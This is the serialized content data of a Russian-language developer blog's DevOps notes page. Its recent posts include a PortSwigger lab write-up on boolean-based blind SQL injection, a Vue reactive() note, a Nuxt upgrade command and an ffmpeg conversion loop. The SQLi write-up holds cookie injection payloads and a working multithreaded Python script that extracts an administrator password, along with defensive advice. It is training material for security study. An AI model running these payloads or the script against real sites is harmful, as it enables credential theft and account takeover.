[{"data":1,"prerenderedAt":1228},["ShallowReactive",2],{"page-ru-\u002Fnotes\u002Fdevops":3,"recent-ru":29,"posts-ru-devops":1143},{"id":4,"title":5,"author":6,"body":7,"date":6,"description":17,"extension":22,"image":6,"meta":23,"navigation":24,"path":25,"seo":26,"stem":27,"tags":6,"__hash__":28},"content_ru\u002Fnotes\u002Fdevops\u002Findex.md","DevOps",null,{"type":8,"value":9,"toc":18},"minimark",[10,14],[11,12,5],"h1",{"id":13},"devops",[15,16,17],"p",{},"Шелл-скрипты, инструменты и автоматизация.",{"title":19,"searchDepth":20,"depth":20,"links":21},"",2,[],"md",{},true,"\u002Fnotes\u002Fdevops",{"title":5,"description":17},"notes\u002Fdevops\u002Findex","cxbzHLu-S5CgRCY_8-Nd9eX11bwIg2s4Tx3_RoS0miI",[30,665,967,1017],{"id":31,"title":32,"author":33,"body":34,"date":653,"description":654,"extension":22,"image":6,"meta":655,"navigation":24,"path":656,"seo":657,"stem":658,"tags":659,"__hash__":664},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses.md","Слепая SQL-инъекция с условными ответами (PortSwigger Lab)","apsyleg",{"type":8,"value":35,"toc":642},[36,40,45,52,72,76,102,106,113,116,125,132,135,173,176,180,185,192,201,212,216,223,238,241,245,252,593,599,610,614,617,622,638],[11,37,39],{"id":38},"слепая-sql-инъекция-с-условными-ответами","Слепая SQL-инъекция с условными ответами",[41,42,44],"h2",{"id":43},"уязвимость","Уязвимость",[15,46,47,51],{},[48,49,50],"strong",{},"Слепая SQL-инъекция"," (Blind SQLi) — класс SQL-инъекций, при которых приложение не возвращает результаты запросов или сообщения об ошибках в HTTP-ответе. Атакующий получает данные, наблюдая за изменениями в поведении приложения: появляется ли определённое сообщение, меняется ли время ответа.",[15,53,54,55,58,59,63,64,67,68,71],{},"В данном варианте (",[48,56,57],{},"boolean-based blind SQLi",") приложение возвращает разный контент в зависимости от того, вернуло ли условие ",[60,61,62],"code",{},"TRUE"," или ",[60,65,66],{},"FALSE",". Конструируя условия вида ",[60,69,70],{},"SUBSTRING(password, 1, 1) = 'a'",", атакующий может извлекать данные посимвольно.",[41,73,75],{"id":74},"лаборатория","Лаборатория",[15,77,78,81,82,89,92,95,96,98,101],{},[48,79,80],{},"Название:"," ",[83,84,88],"a",{"href":85,"rel":86},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[87],"nofollow","Blind SQL injection with conditional responses",[90,91],"br",{},[48,93,94],{},"Сложность:"," Practitioner",[90,97],{},[48,99,100],{},"Цель:"," Эксплуатировать слепую SQL-инъекцию в tracking cookie, извлечь пароль администратора и войти в аккаунт.",[41,103,105],{"id":104},"разведка","Разведка",[15,107,108,109,112],{},"Приложение хранит cookie ",[60,110,111],{},"TrackingId",", которая используется в SQL-запросе. Результат запроса нигде не отображается, однако на странице появляется сообщение «Welcome back!», если запрос вернул хотя бы одну строку.",[15,114,115],{},"Сначала подтверждаем точку инъекции, добавив кавычку:",[117,118,123],"pre",{"className":119,"code":121,"language":122},[120],"language-text","TrackingId=ncJfdwqSUQK7Gh4b'--\n","text",[60,124,121],{"__ignoreMap":19},[15,126,127,128,131],{},"Сообщение «Welcome back!» продолжает появляться — комментарий ",[60,129,130],{},"--"," нейтрализует остаток оригинального запроса, инъекция активна.",[15,133,134],{},"Проверяем булево поведение:",[117,136,140],{"className":137,"code":138,"language":139,"meta":19,"style":19},"language-sql shiki shiki-themes github-light github-dark","-- Условие TRUE → «Welcome back!» появляется\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- Условие FALSE → «Welcome back!» исчезает\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[60,141,142,150,155,161,167],{"__ignoreMap":19},[143,144,147],"span",{"class":145,"line":146},"line",1,[143,148,149],{},"-- Условие TRUE → «Welcome back!» появляется\n",[143,151,152],{"class":145,"line":20},[143,153,154],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[143,156,158],{"class":145,"line":157},3,[143,159,160],{"emptyLinePlaceholder":24},"\n",[143,162,164],{"class":145,"line":163},4,[143,165,166],{},"-- Условие FALSE → «Welcome back!» исчезает\n",[143,168,170],{"class":145,"line":169},5,[143,171,172],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[15,174,175],{},"Теперь у нас есть надёжный оракул: истинное условие — сообщение есть, ложное — нет. Этого достаточно для извлечения любых данных из базы.",[41,177,179],{"id":178},"эксплуатация","Эксплуатация",[181,182,184],"h3",{"id":183},"шаг-1-определяем-длину-пароля","Шаг 1 — Определяем длину пароля",[15,186,187,188,191],{},"Используем функцию ",[60,189,190],{},"LENGTH()",":",[117,193,195],{"className":137,"code":194,"language":139,"meta":19,"style":19},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[60,196,197],{"__ignoreMap":19},[143,198,199],{"class":145,"line":146},[143,200,194],{},[15,202,203,204,207,208,211],{},"«Welcome back!» появляется при ",[60,205,206],{},"= 20"," — пароль состоит из ",[48,209,210],{},"20 символов",".",[181,213,215],{"id":214},"шаг-2-извлекаем-символы","Шаг 2 — Извлекаем символы",[15,217,218,219,222],{},"Функция ",[60,220,221],{},"SUBSTRING(строка, позиция, длина)"," позволяет проверять по одному символу:",[117,224,226],{"className":137,"code":225,"language":139,"meta":19,"style":19},"-- Первый символ — 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[60,227,228,233],{"__ignoreMap":19},[143,229,230],{"class":145,"line":146},[143,231,232],{},"-- Первый символ — 'w'?\n",[143,234,235],{"class":145,"line":20},[143,236,237],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[15,239,240],{},"Делать это вручную для 20 символов × 36 возможных значений (a–z + 0–9) — сотни запросов. Автоматизируем скриптом.",[181,242,244],{"id":243},"шаг-3-автоматизация-на-python","Шаг 3 — Автоматизация на Python",[15,246,247,248,251],{},"Скрипт использует ",[60,249,250],{},"ThreadPoolExecutor"," для параллельного выполнения 10 запросов одновременно:",[117,253,257],{"className":254,"code":255,"language":256,"meta":19,"style":19},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Определяем длину пароля...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Длина пароля: {n}\")\n            return n\n    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Пароль: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[60,258,259,264,269,274,278,283,289,295,301,306,312,318,324,329,334,340,346,352,358,364,369,374,380,386,392,398,404,410,416,422,427,432,438,444,450,455,461,467,472,477,483,489,495,501,507,513,519,525,531,537,542,547,553,559,565,571,576,581,587],{"__ignoreMap":19},[143,260,261],{"class":145,"line":146},[143,262,263],{},"import requests\n",[143,265,266],{"class":145,"line":20},[143,267,268],{},"import string\n",[143,270,271],{"class":145,"line":157},[143,272,273],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[143,275,276],{"class":145,"line":163},[143,277,160],{"emptyLinePlaceholder":24},[143,279,280],{"class":145,"line":169},[143,281,282],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[143,284,286],{"class":145,"line":285},6,[143,287,288],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[143,290,292],{"class":145,"line":291},7,[143,293,294],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[143,296,298],{"class":145,"line":297},8,[143,299,300],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[143,302,304],{"class":145,"line":303},9,[143,305,160],{"emptyLinePlaceholder":24},[143,307,309],{"class":145,"line":308},10,[143,310,311],{},"CHARSET = string.ascii_lowercase + string.digits\n",[143,313,315],{"class":145,"line":314},11,[143,316,317],{},"MAX_LENGTH = 30\n",[143,319,321],{"class":145,"line":320},12,[143,322,323],{},"THREADS = 10\n",[143,325,327],{"class":145,"line":326},13,[143,328,160],{"emptyLinePlaceholder":24},[143,330,332],{"class":145,"line":331},14,[143,333,160],{"emptyLinePlaceholder":24},[143,335,337],{"class":145,"line":336},15,[143,338,339],{},"def check(sql_condition: str) -> bool:\n",[143,341,343],{"class":145,"line":342},16,[143,344,345],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[143,347,349],{"class":145,"line":348},17,[143,350,351],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[143,353,355],{"class":145,"line":354},18,[143,356,357],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[143,359,361],{"class":145,"line":360},19,[143,362,363],{},"    return \"Welcome back\" in r.text\n",[143,365,367],{"class":145,"line":366},20,[143,368,160],{"emptyLinePlaceholder":24},[143,370,372],{"class":145,"line":371},21,[143,373,160],{"emptyLinePlaceholder":24},[143,375,377],{"class":145,"line":376},22,[143,378,379],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[143,381,383],{"class":145,"line":382},23,[143,384,385],{},"    print(\"[*] Определяем длину пароля...\")\n",[143,387,389],{"class":145,"line":388},24,[143,390,391],{},"    for n in range(1, max_len + 1):\n",[143,393,395],{"class":145,"line":394},25,[143,396,397],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[143,399,401],{"class":145,"line":400},26,[143,402,403],{},"        if check(condition):\n",[143,405,407],{"class":145,"line":406},27,[143,408,409],{},"            print(f\"[+] Длина пароля: {n}\")\n",[143,411,413],{"class":145,"line":412},28,[143,414,415],{},"            return n\n",[143,417,419],{"class":145,"line":418},29,[143,420,421],{},"    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n",[143,423,425],{"class":145,"line":424},30,[143,426,160],{"emptyLinePlaceholder":24},[143,428,430],{"class":145,"line":429},31,[143,431,160],{"emptyLinePlaceholder":24},[143,433,435],{"class":145,"line":434},32,[143,436,437],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[143,439,441],{"class":145,"line":440},33,[143,442,443],{},"    for c in CHARSET:\n",[143,445,447],{"class":145,"line":446},34,[143,448,449],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[143,451,453],{"class":145,"line":452},35,[143,454,403],{},[143,456,458],{"class":145,"line":457},36,[143,459,460],{},"            return pos, c\n",[143,462,464],{"class":145,"line":463},37,[143,465,466],{},"    return pos, \"?\"\n",[143,468,470],{"class":145,"line":469},38,[143,471,160],{"emptyLinePlaceholder":24},[143,473,475],{"class":145,"line":474},39,[143,476,160],{"emptyLinePlaceholder":24},[143,478,480],{"class":145,"line":479},40,[143,481,482],{},"def get_password(length: int) -> str:\n",[143,484,486],{"class":145,"line":485},41,[143,487,488],{},"    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n",[143,490,492],{"class":145,"line":491},42,[143,493,494],{},"    password = [\"?\"] * length\n",[143,496,498],{"class":145,"line":497},43,[143,499,500],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[143,502,504],{"class":145,"line":503},44,[143,505,506],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[143,508,510],{"class":145,"line":509},45,[143,511,512],{},"        for future in as_completed(futures):\n",[143,514,516],{"class":145,"line":515},46,[143,517,518],{},"            pos, char = future.result()\n",[143,520,522],{"class":145,"line":521},47,[143,523,524],{},"            password[pos - 1] = char\n",[143,526,528],{"class":145,"line":527},48,[143,529,530],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[143,532,534],{"class":145,"line":533},49,[143,535,536],{},"    return \"\".join(password)\n",[143,538,540],{"class":145,"line":539},50,[143,541,160],{"emptyLinePlaceholder":24},[143,543,545],{"class":145,"line":544},51,[143,546,160],{"emptyLinePlaceholder":24},[143,548,550],{"class":145,"line":549},52,[143,551,552],{},"def main():\n",[143,554,556],{"class":145,"line":555},53,[143,557,558],{},"    length = get_password_length()\n",[143,560,562],{"class":145,"line":561},54,[143,563,564],{},"    password = get_password(length)\n",[143,566,568],{"class":145,"line":567},55,[143,569,570],{},"    print(f\"\\n[+] Пароль: {password}\")\n",[143,572,574],{"class":145,"line":573},56,[143,575,160],{"emptyLinePlaceholder":24},[143,577,579],{"class":145,"line":578},57,[143,580,160],{"emptyLinePlaceholder":24},[143,582,584],{"class":145,"line":583},58,[143,585,586],{},"if __name__ == \"__main__\":\n",[143,588,590],{"class":145,"line":589},59,[143,591,592],{},"    main()\n",[15,594,595,596],{},"Результат: ",[60,597,598],{},"wfa3n32o7a6mb4xon7d6",[15,600,601,602,605,606,609],{},"Заходим в ",[60,603,604],{},"\u002Fmy-account"," как ",[60,607,608],{},"administrator"," с этим паролем — лаба решена.",[41,611,613],{"id":612},"вывод","Вывод",[15,615,616],{},"Слепая SQL-инъекция менее очевидна, чем классическая, но не менее опасна. Даже без какого-либо вывода данных, одного булевого сигнала (сообщение есть \u002F нет) достаточно для извлечения всей базы.",[15,618,619],{},[48,620,621],{},"Как защититься:",[623,624,625,629,632],"ul",{},[626,627,628],"li",{},"Использовать параметризованные запросы (prepared statements) — они полностью исключают инъекцию",[626,630,631],{},"Никогда не конкатенировать пользовательский ввод напрямую в SQL-строку",[626,633,634,635],{},"Применять принцип наименьших привилегий — аккаунт веб-приложения не должен иметь доступ к таблице ",[60,636,637],{},"users",[639,640,641],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":19,"searchDepth":20,"depth":20,"links":643},[644,645,646,647,652],{"id":43,"depth":20,"text":44},{"id":74,"depth":20,"text":75},{"id":104,"depth":20,"text":105},{"id":178,"depth":20,"text":179,"children":648},[649,650,651],{"id":183,"depth":157,"text":184},{"id":214,"depth":157,"text":215},{"id":243,"depth":157,"text":244},{"id":612,"depth":20,"text":613},"2026-03-28","Как эксплуатировать слепую SQL-инъекцию через tracking cookie методом булевого вывода и многопоточного Python-скрипта.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",{"title":32,"description":654},"notes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",[660,661,662,663],"portswigger","sql-injection","blind-sqli","web-security","VT_XCLAwWSq5eUzidLCyFph4qOXnC4jczwBb8lA_p_w",{"id":666,"title":667,"author":668,"body":669,"date":957,"description":958,"extension":22,"image":6,"meta":959,"navigation":24,"path":960,"seo":961,"stem":962,"tags":963,"__hash__":966},"content_ru\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Создание стейта компонента через reactive() как в Options API","Олег Анучин",{"type":8,"value":670,"toc":955},[671,675,685,696,952],[11,672,674],{"id":673},"создание-стейта-компонента-через-reactive","Создание стейта компонента через reactive()",[15,676,677,678,681,682,211],{},"В Options API мы можем использовать ",[60,679,680],{},"data()"," для создания стейта компонента и обращаться к нему через ",[60,683,684],{},"this",[15,686,687,688,691,692,695],{},"С помощью ",[60,689,690],{},"reactive()"," из Composition API можно добиться того же — гораздо удобнее, чем ",[60,693,694],{},"ref()"," для нескольких свойств.",[117,697,701],{"className":698,"code":699,"language":700,"meta":19,"style":19},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Цена: {{ price }}\u003C\u002Fp>\n  \u003Cp>Количество: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Итого: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n","vue",[60,702,703,716,732,736,747,756,774,785,793,798,802,822,836,840,844,851,862,867,872,877,882,891,895,904,918,931,944],{"__ignoreMap":19},[143,704,705,709,713],{"class":145,"line":146},[143,706,708],{"class":707},"sVt8B","\u003C",[143,710,712],{"class":711},"s9eBZ","script",[143,714,715],{"class":707},">\n",[143,717,718,722,725,728],{"class":145,"line":20},[143,719,721],{"class":720},"szBVR","import",[143,723,724],{"class":707}," { computed, reactive, toRefs } ",[143,726,727],{"class":720},"from",[143,729,731],{"class":730},"sZZnC"," 'vue'\n",[143,733,734],{"class":145,"line":157},[143,735,160],{"emptyLinePlaceholder":24},[143,737,738,741,744],{"class":145,"line":163},[143,739,740],{"class":720},"export",[143,742,743],{"class":720}," default",[143,745,746],{"class":707}," {\n",[143,748,749,753],{"class":145,"line":169},[143,750,752],{"class":751},"sScJk","  setup",[143,754,755],{"class":707},"() {\n",[143,757,758,761,765,768,771],{"class":145,"line":285},[143,759,760],{"class":720},"    const",[143,762,764],{"class":763},"sj4cs"," state",[143,766,767],{"class":720}," =",[143,769,770],{"class":751}," reactive",[143,772,773],{"class":707},"({\n",[143,775,776,779,782],{"class":145,"line":291},[143,777,778],{"class":707},"      price: ",[143,780,781],{"class":763},"2",[143,783,784],{"class":707},",\n",[143,786,787,790],{"class":145,"line":297},[143,788,789],{"class":707},"      quantity: ",[143,791,792],{"class":763},"5\n",[143,794,795],{"class":145,"line":303},[143,796,797],{"class":707},"    })\n",[143,799,800],{"class":145,"line":308},[143,801,160],{"emptyLinePlaceholder":24},[143,803,804,806,809,811,814,817,820],{"class":145,"line":314},[143,805,760],{"class":720},[143,807,808],{"class":763}," total",[143,810,767],{"class":720},[143,812,813],{"class":751}," computed",[143,815,816],{"class":707},"(() ",[143,818,819],{"class":720},"=>",[143,821,746],{"class":707},[143,823,824,827,830,833],{"class":145,"line":320},[143,825,826],{"class":720},"      return",[143,828,829],{"class":707}," state.price ",[143,831,832],{"class":720},"*",[143,834,835],{"class":707}," state.quantity\n",[143,837,838],{"class":145,"line":326},[143,839,797],{"class":707},[143,841,842],{"class":145,"line":331},[143,843,160],{"emptyLinePlaceholder":24},[143,845,846,849],{"class":145,"line":336},[143,847,848],{"class":720},"    return",[143,850,746],{"class":707},[143,852,853,856,859],{"class":145,"line":342},[143,854,855],{"class":720},"      ...",[143,857,858],{"class":751},"toRefs",[143,860,861],{"class":707},"(state),\n",[143,863,864],{"class":145,"line":348},[143,865,866],{"class":707},"      total\n",[143,868,869],{"class":145,"line":354},[143,870,871],{"class":707},"    }\n",[143,873,874],{"class":145,"line":360},[143,875,876],{"class":707},"  }\n",[143,878,879],{"class":145,"line":366},[143,880,881],{"class":707},"}\n",[143,883,884,887,889],{"class":145,"line":371},[143,885,886],{"class":707},"\u003C\u002F",[143,888,712],{"class":711},[143,890,715],{"class":707},[143,892,893],{"class":145,"line":376},[143,894,160],{"emptyLinePlaceholder":24},[143,896,897,899,902],{"class":145,"line":382},[143,898,708],{"class":707},[143,900,901],{"class":711},"template",[143,903,715],{"class":707},[143,905,906,909,911,914,916],{"class":145,"line":388},[143,907,908],{"class":707},"  \u003C",[143,910,15],{"class":711},[143,912,913],{"class":707},">Цена: {{ price }}\u003C\u002F",[143,915,15],{"class":711},[143,917,715],{"class":707},[143,919,920,922,924,927,929],{"class":145,"line":394},[143,921,908],{"class":707},[143,923,15],{"class":711},[143,925,926],{"class":707},">Количество: {{ quantity }}\u003C\u002F",[143,928,15],{"class":711},[143,930,715],{"class":707},[143,932,933,935,937,940,942],{"class":145,"line":400},[143,934,908],{"class":707},[143,936,15],{"class":711},[143,938,939],{"class":707},">Итого: {{ total }}\u003C\u002F",[143,941,15],{"class":711},[143,943,715],{"class":707},[143,945,946,948,950],{"class":145,"line":406},[143,947,886],{"class":707},[143,949,901],{"class":711},[143,951,715],{"class":707},[639,953,954],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":19,"searchDepth":20,"depth":20,"links":956},[],"2022-08-20","Как использовать reactive() в Vue 3 Composition API для создания стейта аналогично data() в Options API",{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":667,"description":958},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[700,964,965],"composition-api","reactive","AVpr__V_hvj6bFD9-D94muDEH5YF4HZb7akQwYPFqd8",{"id":968,"title":969,"author":668,"body":970,"date":1007,"description":1008,"extension":22,"image":6,"meta":1009,"navigation":24,"path":1010,"seo":1011,"stem":1012,"tags":1013,"__hash__":1016},"content_ru\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","Как обновить Nuxt 3 проект",{"type":8,"value":971,"toc":1005},[972,975,993,996,1002],[11,973,969],{"id":974},"как-обновить-nuxt-3-проект",[117,976,980],{"className":977,"code":978,"language":979,"meta":19,"style":19},"language-bash shiki shiki-themes github-light github-dark","yarn nuxi upgrade\n","bash",[60,981,982],{"__ignoreMap":19},[143,983,984,987,990],{"class":145,"line":146},[143,985,986],{"class":751},"yarn",[143,988,989],{"class":730}," nuxi",[143,991,992],{"class":730}," upgrade\n",[15,994,995],{},"Пример вывода:",[117,997,1000],{"className":998,"code":999,"language":122},[120],"✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n",[60,1001,999],{"__ignoreMap":19},[639,1003,1004],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":19,"searchDepth":20,"depth":20,"links":1006},[],"2022-08-15","Простая команда для обновления Nuxt 3 до последней версии",{},"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":969,"description":1008},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[1014,700,1015],"nuxt","cli","_HR0DYn8dvm9dDN6C0NI3IBdhwQBiKDVaxiB0n_y3VA",{"id":1018,"title":1019,"author":668,"body":1020,"date":1132,"description":1133,"extension":22,"image":6,"meta":1134,"navigation":24,"path":1135,"seo":1136,"stem":1137,"tags":1138,"__hash__":1142},"content_ru\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg.md","Пакетная конвертация FLAC в AIFF через ffmpeg",{"type":8,"value":1021,"toc":1130},[1022,1025,1028,1044,1054,1127],[11,1023,1019],{"id":1024},"пакетная-конвертация-flac-в-aiff-через-ffmpeg",[15,1026,1027],{},"Нужен установленный ffmpeg. Для macOS:",[117,1029,1031],{"className":977,"code":1030,"language":979,"meta":19,"style":19},"brew install ffmpeg\n",[60,1032,1033],{"__ignoreMap":19},[143,1034,1035,1038,1041],{"class":145,"line":146},[143,1036,1037],{"class":751},"brew",[143,1039,1040],{"class":730}," install",[143,1042,1043],{"class":730}," ffmpeg\n",[15,1045,1046,1047,1050,1051,191],{},"Эта команда сконвертирует все ",[60,1048,1049],{},"*.flac"," файлы в ",[60,1052,1053],{},"*.aiff",[117,1055,1057],{"className":977,"code":1056,"language":979,"meta":19,"style":19},"for i in *.flac; do ffmpeg -i \"$i\" -write_id3v2 1 -c:v copy \"${i%.*}.aiff\"; done\n",[60,1058,1059],{"__ignoreMap":19},[143,1060,1061,1064,1067,1070,1073,1076,1079,1082,1085,1088,1091,1094,1097,1100,1103,1106,1109,1112,1115,1117,1119,1122,1124],{"class":145,"line":146},[143,1062,1063],{"class":720},"for",[143,1065,1066],{"class":707}," i ",[143,1068,1069],{"class":720},"in",[143,1071,1072],{"class":730}," *.flac",[143,1074,1075],{"class":707},"; ",[143,1077,1078],{"class":720},"do",[143,1080,1081],{"class":751}," ffmpeg",[143,1083,1084],{"class":763}," -i",[143,1086,1087],{"class":730}," \"",[143,1089,1090],{"class":707},"$i",[143,1092,1093],{"class":730},"\"",[143,1095,1096],{"class":763}," -write_id3v2",[143,1098,1099],{"class":763}," 1",[143,1101,1102],{"class":763}," -c:v",[143,1104,1105],{"class":730}," copy",[143,1107,1108],{"class":730}," \"${",[143,1110,1111],{"class":707},"i",[143,1113,1114],{"class":720},"%",[143,1116,211],{"class":730},[143,1118,832],{"class":720},[143,1120,1121],{"class":730},"}.aiff\"",[143,1123,1075],{"class":707},[143,1125,1126],{"class":720},"done\n",[639,1128,1129],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: 